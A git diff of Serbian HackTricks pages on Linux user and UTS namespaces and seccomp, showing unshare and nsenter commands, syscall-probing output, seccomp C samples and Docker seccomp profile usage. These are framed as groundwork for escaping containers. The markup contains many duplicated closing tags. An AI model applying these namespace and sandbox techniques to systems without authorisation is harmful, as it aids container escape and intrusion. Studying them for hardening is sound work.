|
||||
|
||||
{% code-tabs %}
|
||||
{% code-tabs-item title="Shell" %}
|
||||
```bash
|
||||
unshare --user --map-root-user
|
||||
```
|
||||
{% endcode-tabs-item %}
|
||||
{% endcode-tabs %}
|
||||
|
||||
Kada se izvrši ova komanda, korisnik će biti prebačen u novi korisnički namespace. Ovo omogućava korisniku da izvršava komande sa privilegijama korisnika root unutar tog namespace-a, iako je zapravo običan korisnik na sistemu. Ovo može biti korisno za izvršavanje komandi koje zahtevaju privilegije root-a, bez potrebe za stvarnim root pristupom.
|
||||
### Uđite unutar User namespace-a
|
||||
```bash
|
||||
nsenter -U TARGET_PID --pid /bin/bash
|
||||
```
|
||||
Takođe, možete **ući u drugi procesni namespace samo ako ste root**. I **ne možete** **ući** u drugi namespace **bez deskriptora** koji na njega ukazuje (poput `/proc/self/ns/user`).
|
||||
Takođe, možete **ući u drugi procesni prostor samo ako ste root**. I **ne možete** **ući** u drugi prostor **bez deskriptora** koji na njega ukazuje (kao što je `/proc/self/ns/user`).
|
||||
|
||||
### Kreiranje novog User namespace-a (sa mapiranjima)
|
||||
### Kreirajte novi korisnički prostor (sa mapiranjima)
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -122,14 +119,14 @@ nobody@ip-172-31-28-169:/home/ubuntu$ #Check how the user is nobody
|
|||
ps -ef | grep bash # The user inside the host is still root, not nobody
|
||||
root 27756 27755 0 21:11 pts/10 00:00:00 /bin/bash
|
||||
```
|
||||
### Obnavljanje sposobnosti
|
||||
### Oporavak sposobnosti
|
||||
|
||||
U slučaju korisničkih namespace-ova, **kada se kreira novi korisnički namespace, proces koji ulazi u namespace dobija pun set sposobnosti unutar tog namespace-a**. Ove sposobnosti omogućavaju procesu da izvršava privilegovane operacije kao što su **montiranje** **fajl sistema**, kreiranje uređaja ili menjanje vlasništva fajlova, ali **samo u kontekstu svog korisničkog namespace-a**.
|
||||
U slučaju korisničkih prostora, **kada se kreira novi korisnički prostor, procesu koji ulazi u prostor dodeljuje se potpuni skup sposobnosti unutar tog prostora**. Ove sposobnosti omogućavaju procesu da izvršava privilegovane operacije kao što su **montiranje** **fajl sistema**, kreiranje uređaja ili promena vlasništva nad fajlovima, ali **samo unutar konteksta svog korisničkog prostora**.
|
||||
|
||||
Na primer, kada imate sposobnost `CAP_SYS_ADMIN` unutar korisničkog namespace-a, možete izvršavati operacije koje obično zahtevaju ovu sposobnost, poput montiranja fajl sistema, ali samo u kontekstu svog korisničkog namespace-a. Sve operacije koje izvršite sa ovom sposobnošću neće uticati na host sistem ili druge namespace-ove.
|
||||
Na primer, kada imate sposobnost `CAP_SYS_ADMIN` unutar korisničkog prostora, možete izvršavati operacije koje obično zahtevaju ovu sposobnost, poput montiranja fajl sistema, ali samo unutar konteksta vašeg korisničkog prostora. Sve operacije koje izvršavate sa ovom sposobnošću neće uticati na host sistem ili druge prostore.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Stoga, čak i ako dobijete novi proces unutar novog korisničkog namespace-a **dobijate sve sposobnosti nazad** (CapEff: 000001ffffffffff), zapravo možete **koristiti samo one koje su povezane sa namespace-om** (na primer, montiranje), ali ne sve. Dakle, samo to nije dovoljno da biste pobegli iz Docker kontejnera.
|
||||
Stoga, čak i ako dobijanje novog procesa unutar novog korisničkog prostora **će vam vratiti sve sposobnosti** (CapEff: 000001ffffffffff), zapravo možete **koristiti samo one koje se odnose na prostor** (montiranje na primer) ali ne svaku. Dakle, ovo samo po sebi nije dovoljno da pobegnete iz Docker kontejnera.
|
||||
{% endhint %}
|
||||
```bash
|
||||
# There are the syscalls that are filtered after changing User namespace with:
|
||||
|
@ -153,21 +150,29 @@ Probando: 0x130 . . . Error
|
|||
Probando: 0x139 . . . Error
|
||||
Probando: 0x140 . . . Error
|
||||
Probando: 0x141 . . . Error
|
||||
Probando: 0x143 . . . Error
|
||||
```
|
||||
## Reference
|
||||
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,58 +1,73 @@
|
|||
# UTS Namespace
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
UTS (UNIX Time-Sharing System) namespace je funkcionalnost Linux kernela koja pruža **izolaciju dva sistema identifikatora**: **hostname-a** i **NIS** (Network Information Service) domenskog imena. Ova izolacija omogućava svakom UTS namespace-u da ima svoj **nezavisni hostname i NIS domensko ime**, što je posebno korisno u scenarijima kontejnerizacije gde svaki kontejner treba da se pojavi kao zaseban sistem sa svojim sopstvenim hostname-om.
|
||||
UTS (UNIX Time-Sharing System) namespace je funkcija Linux kernela koja obezbeđuje **izolaciju dva sistemska identifikatora**: **hostname** i **NIS** (Network Information Service) domena. Ova izolacija omogućava svakom UTS namespace-u da ima **svoj nezavistan hostname i NIS domen**, što je posebno korisno u scenarijima kontejnerizacije gde svaki kontejner treba da se pojavljuje kao poseban sistem sa svojim hostname-om.
|
||||
|
||||
### Kako radi:
|
||||
### Kako to funkcioniše:
|
||||
|
||||
1. Kada se kreira novi UTS namespace, on počinje sa **kopijom hostname-a i NIS domenskog imena iz roditeljskog namespace-a**. Ovo znači da, pri kreiranju, novi namespace **deli iste identifikatore kao i njegov roditelj**. Međutim, bilo kakve naknadne promene hostname-a ili NIS domenskog imena unutar namespace-a neće uticati na druge namespace-ove.
|
||||
2. Procesi unutar UTS namespace-a **mogu promeniti hostname i NIS domensko ime** koristeći sistemski poziv `sethostname()` i `setdomainname()`, redom. Ove promene su lokalne za namespace i ne utiču na druge namespace-ove ili host sistem.
|
||||
3. Procesi mogu prelaziti između namespace-ova koristeći sistemski poziv `setns()` ili kreirati nove namespace-ove koristeći sistemski poziv `unshare()` ili `clone()` sa `CLONE_NEWUTS` flag-om. Kada proces pređe u novi namespace ili ga kreira, počeće da koristi hostname i NIS domensko ime povezano sa tim namespace-om.
|
||||
1. Kada se kreira novi UTS namespace, on počinje sa **kopijom hostname-a i NIS domena iz svog roditeljskog namespace-a**. To znači da, prilikom kreiranja, novi namespace **deliti iste identifikatore kao njegov roditelj**. Međutim, sve kasnije promene na hostname-u ili NIS domeni unutar namespace-a neće uticati na druge namespace-e.
|
||||
2. Procesi unutar UTS namespace-a **mogu promeniti hostname i NIS domen** koristeći sistemske pozive `sethostname()` i `setdomainname()`, redom. Ove promene su lokalne za namespace i ne utiču na druge namespace-e ili host sistem.
|
||||
3. Procesi mogu prelaziti između namespace-a koristeći sistemski poziv `setns()` ili kreirati nove namespace-e koristeći sistemske pozive `unshare()` ili `clone()` sa `CLONE_NEWUTS` flagom. Kada proces pređe u novi namespace ili ga kreira, počeće da koristi hostname i NIS domen povezane sa tim namespace-om.
|
||||
|
||||
## Laboratorija:
|
||||
## Lab:
|
||||
|
||||
### Kreiranje različitih Namespace-ova
|
||||
### Kreirajte različite Namespace-e
|
||||
|
||||
#### CLI
|
||||
```bash
|
||||
sudo unshare -u [--mount-proc] /bin/bash
|
||||
```
|
||||
Montiranjem nove instance `/proc` fajl sistema, korišćenjem parametra `--mount-proc`, obezbeđujete da nova montirana namespace ima **tačan i izolovan prikaz informacija o procesima specifičnim za tu namespace**.
|
||||
Montiranjem nove instance `/proc` datotečnog sistema ako koristite parametar `--mount-proc`, osiguravate da nova mount namespace ima **tačan i izolovan prikaz informacija o procesima specifičnim za tu namespace**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Greška: bash: fork: Ne može se alocirati memorija</summary>
|
||||
<summary>Greška: bash: fork: Ne može da alocira memoriju</summary>
|
||||
|
||||
Kada se `unshare` izvršava bez opcije `-f`, javlja se greška zbog načina na koji Linux rukuje novim PID (Process ID) namespace-om. Ključni detalji i rešenje su opisani u nastavku:
|
||||
Kada se `unshare` izvrši bez `-f` opcije, dolazi do greške zbog načina na koji Linux upravlja novim PID (ID procesa) namespace-ima. Ključni detalji i rešenje su navedeni u nastavku:
|
||||
|
||||
1. **Objašnjenje problema**:
|
||||
- Linux kernel omogućava procesu da kreira nove namespace-ove koristeći `unshare` sistemski poziv. Međutim, proces koji pokreće kreiranje novog PID namespace-a (nazvan "unshare" proces) ne ulazi u novi namespace; samo njegovi podprocesi to čine.
|
||||
- Pokretanje `%unshare -p /bin/bash%` pokreće `/bin/bash` u istom procesu kao `unshare`. Kao rezultat, `/bin/bash` i njegovi podprocesi su u originalnom PID namespace-u.
|
||||
- Prvi podproces `/bin/bash` u novom namespace-u postaje PID 1. Kada ovaj proces završi, pokreće se čišćenje namespace-a ako nema drugih procesa, jer PID 1 ima posebnu ulogu usvajanja siročadi. Linux kernel tada onemogućava alokaciju PID-a u tom namespace-u.
|
||||
- Linux kernel omogućava procesu da kreira nove namespace-e koristeći `unshare` sistemski poziv. Međutim, proces koji inicira kreiranje novog PID namespace-a (poznat kao "unshare" proces) ne ulazi u novi namespace; samo njegovi podprocesi to čine.
|
||||
- Pokretanjem `%unshare -p /bin/bash%` pokreće se `/bin/bash` u istom procesu kao `unshare`. Kao rezultat, `/bin/bash` i njegovi podprocesi su u originalnom PID namespace-u.
|
||||
- Prvi podproces `/bin/bash` u novom namespace-u postaje PID 1. Kada ovaj proces izađe, pokreće čišćenje namespace-a ako nema drugih procesa, jer PID 1 ima posebnu ulogu usvajanja orfanskih procesa. Linux kernel će tada onemogućiti alokaciju PID-a u tom namespace-u.
|
||||
|
||||
2. **Posledica**:
|
||||
- Izlazak PID 1 iz novog namespace-a dovodi do čišćenja `PIDNS_HASH_ADDING` zastavice. To rezultira neuspehom funkcije `alloc_pid` pri alociranju novog PID-a prilikom kreiranja novog procesa, što dovodi do greške "Ne može se alocirati memorija".
|
||||
- Izlazak PID 1 u novom namespace-u dovodi do čišćenja `PIDNS_HASH_ADDING` oznake. To rezultira neuspehom funkcije `alloc_pid` da alocira novi PID prilikom kreiranja novog procesa, što proizvodi grešku "Ne može da alocira memoriju".
|
||||
|
||||
3. **Rešenje**:
|
||||
- Problem se može rešiti korišćenjem opcije `-f` sa `unshare`. Ova opcija čini da `unshare` fork-uje novi proces nakon kreiranja novog PID namespace-a.
|
||||
- Izvršavanje `%unshare -fp /bin/bash%` osigurava da sam `unshare` komanda postane PID 1 u novom namespace-u. `/bin/bash` i njegovi podprocesi su tada sigurno smešteni unutar ovog novog namespace-a, sprečavajući prevremeni izlazak PID 1 i omogućavajući normalnu alokaciju PID-a.
|
||||
- Problem se može rešiti korišćenjem `-f` opcije sa `unshare`. Ova opcija čini da `unshare` fork-uje novi proces nakon kreiranja novog PID namespace-a.
|
||||
- Izvršavanje `%unshare -fp /bin/bash%` osigurava da `unshare` komanda sama postane PID 1 u novom namespace-u. `/bin/bash` i njegovi podprocesi su tada sigurno sadržani unutar ovog novog namespace-a, sprečavajući prevremeni izlazak PID 1 i omogućavajući normalnu alokaciju PID-a.
|
||||
|
||||
Obezbeđivanjem da `unshare` radi sa opcijom `-f`, novi PID namespace se pravilno održava, omogućavajući `/bin/bash` i njegovim podprocesima da rade bez greške alociranja memorije.
|
||||
Osiguravanjem da `unshare` radi sa `-f` oznakom, novi PID namespace se ispravno održava, omogućavajući `/bin/bash` i njegove podprocese da funkcionišu bez susretanja greške u alokaciji memorije.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -60,20 +75,12 @@ Obezbeđivanjem da `unshare` radi sa opcijom `-f`, novi PID namespace se praviln
|
|||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
###  Proverite u kojem se namespace-u nalazi vaš proces
|
||||
|
||||
Da biste proverili u kojem se namespace-u nalazi vaš proces, možete koristiti sledeću komandu:
|
||||
|
||||
```bash
|
||||
cat /proc/$$/ns/uts
|
||||
```
|
||||
|
||||
Ova komanda će vam prikazati putanju do fajla koji predstavlja UTS namespace vašeg procesa.
|
||||
###  Proverite u kojem je namespace vaš proces
|
||||
```bash
|
||||
ls -l /proc/self/ns/uts
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 20:49 /proc/self/ns/uts -> 'uts:[4026531838]'
|
||||
```
|
||||
### Pronađite sve UTS namespace-ove
|
||||
### Pronađite sve UTS imenske prostore
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -81,34 +88,51 @@ sudo find /proc -maxdepth 3 -type l -name uts -exec readlink {} \; 2>/dev/null |
|
|||
# Find the processes with an specific namespace
|
||||
sudo find /proc -maxdepth 3 -type l -name uts -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
||||
```
|
||||
{% code %}
|
||||
|
||||
### Uđite unutar UTS namespace-a
|
||||
|
||||
{% endcode %}
|
||||
```bash
|
||||
nsenter -u TARGET_PID --pid /bin/bash
|
||||
```
|
||||
Takođe, možete **ući u drugi proces namespace samo ako ste root**. I **ne možete** **ući** u drugi namespace **bez deskriptora** koji na njega ukazuje (poput `/proc/self/ns/uts`).
|
||||
|
||||
### Promena imena hosta
|
||||
### Uđite unutar UTS imenskog prostora
|
||||
```bash
|
||||
unshare -u /bin/bash
|
||||
hostname newhostname # Hostname won't be changed inside the host UTS ns
|
||||
```
|
||||
## Reference
|
||||
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,39 @@
|
|||
# Seccomp
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## Osnovne informacije
|
||||
## Basic Information
|
||||
|
||||
**Seccomp**, što znači Secure Computing mode, je sigurnosna funkcija **Linux kernela koja filtrira sistemski pozive**. On ograničava procese na ograničeni skup sistemskih poziva (`exit()`, `sigreturn()`, `read()` i `write()`) za već otvorene file deskriptore. Ako proces pokuša da pozove bilo šta drugo, kernel ga prekida korišćenjem SIGKILL ili SIGSYS signala. Ovaj mehanizam ne virtualizuje resurse, već ih izoluje od procesa.
|
||||
**Seccomp**, što znači Secure Computing mode, je bezbednosna funkcija **Linux jezgra dizajnirana da filtrira sistemske pozive**. Ograničava procese na ograničen skup sistemskih poziva (`exit()`, `sigreturn()`, `read()`, i `write()` za već otvorene deskriptore datoteka). Ako proces pokuša da pozove bilo šta drugo, kernel ga prekida koristeći SIGKILL ili SIGSYS. Ovaj mehanizam ne virtualizuje resurse, već izoluje proces od njih.
|
||||
|
||||
Postoje dva načina za aktiviranje seccomp-a: kroz `prctl(2)` sistemski poziv sa `PR_SET_SECCOMP`, ili za Linux kernel verzije 3.17 i novije, kroz `seccomp(2)` sistemski poziv. Stariji način omogućavanja seccomp-a pisanjem u `/proc/self/seccomp` je zastareo u korist `prctl()`.
|
||||
Postoje dva načina za aktiviranje seccomp-a: putem sistemskog poziva `prctl(2)` sa `PR_SET_SECCOMP`, ili za Linux jezgra 3.17 i novija, sistemski poziv `seccomp(2)`. Stariji metod omogućavanja seccomp-a pisanjem u `/proc/self/seccomp` je ukinut u korist `prctl()`.
|
||||
|
||||
Unapređenje, **seccomp-bpf**, dodaje mogućnost filtriranja sistemskih poziva sa prilagodljivom politikom, koristeći Berkeley Packet Filter (BPF) pravila. Ovo proširenje se koristi u softverima kao što su OpenSSH, vsftpd i Chrome/Chromium pregledači na Chrome OS-u i Linux-u za fleksibilno i efikasno filtriranje sistemskih poziva, nudeći alternativu za sada nepodržani systrace za Linux.
|
||||
Poboljšanje, **seccomp-bpf**, dodaje mogućnost filtriranja sistemskih poziva sa prilagodljivom politikom, koristeći Berkeley Packet Filter (BPF) pravila. Ova ekstenzija se koristi u softveru kao što su OpenSSH, vsftpd, i Chrome/Chromium pregledači na Chrome OS-u i Linux-u za fleksibilno i efikasno filtriranje sistemskih poziva, nudeći alternativu sada već nepodržanom systrace-u za Linux.
|
||||
|
||||
### **Originalni/Striktni režim**
|
||||
### **Original/Strict Mode**
|
||||
|
||||
U ovom režimu Seccomp **samo dozvoljava sistemski pozive** `exit()`, `sigreturn()`, `read()` i `write()` za već otvorene file deskriptore. Ako se izvrši bilo koji drugi sistemski poziv, proces se ubija korišćenjem SIGKILL signala.
|
||||
U ovom režimu Seccomp **dozvoljava samo sistemske pozive** `exit()`, `sigreturn()`, `read()` i `write()` za već otvorene deskriptore datoteka. Ako se napravi bilo koji drugi sistemski poziv, proces se ubija koristeći SIGKILL
|
||||
|
||||
{% code title="seccomp_strict.c" %}
|
||||
```c
|
||||
|
@ -62,7 +71,7 @@ printf("You will not see this message--the process will be killed first\n");
|
|||
|
||||
### Seccomp-bpf
|
||||
|
||||
Ovaj režim omogućava **filtriranje sistemskih poziva pomoću konfigurabilne politike** implementirane pomoću pravila Berkeley Packet Filter.
|
||||
Ovaj režim omogućava **filtriranje sistemskih poziva koristeći konfigurisanu politiku** implementiranu pomoću pravila Berkeley Packet Filter.
|
||||
|
||||
{% code title="seccomp_bpf.c" %}
|
||||
```c
|
||||
|
@ -116,29 +125,29 @@ printf("this process is %d\n", getpid());
|
|||
|
||||
## Seccomp u Dockeru
|
||||
|
||||
**Seccomp-bpf** je podržan od strane **Dockera** kako bi se ograničili **syscalls** iz kontejnera, efektivno smanjujući površinu napada. Možete pronaći **blokirane syscalls** po **podrazumevanim postavkama** na [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) i **podrazumevani seccomp profil** možete pronaći ovde [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\
|
||||
Možete pokrenuti Docker kontejner sa **različitom seccomp** politikom koristeći:
|
||||
**Seccomp-bpf** je podržan od strane **Docker-a** da ograniči **syscalls** iz kontejnera, efikasno smanjujući površinu napada. Možete pronaći **syscalls koje su blokirane** po **default-u** na [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) i **default seccomp profil** se može pronaći ovde [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\
|
||||
Možete pokrenuti docker kontejner sa **drugom seccomp** politikom sa:
|
||||
```bash
|
||||
docker run --rm \
|
||||
-it \
|
||||
--security-opt seccomp=/path/to/seccomp/profile.json \
|
||||
hello-world
|
||||
```
|
||||
Ako na primer želite da **zabranite** kontejneru da izvršava neke **syscall**-ove kao što je `uname`, možete preuzeti podrazumevani profil sa [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) i jednostavno **ukloniti string `uname` iz liste**.\
|
||||
Ako želite da se uverite da **neki binarni fajl ne radi unutar docker kontejnera**, možete koristiti strace da biste izlistali syscall-ove koje binarni fajl koristi, a zatim ih zabraniti.\
|
||||
U sledećem primeru su otkriveni **syscall**-ovi za `uname`:
|
||||
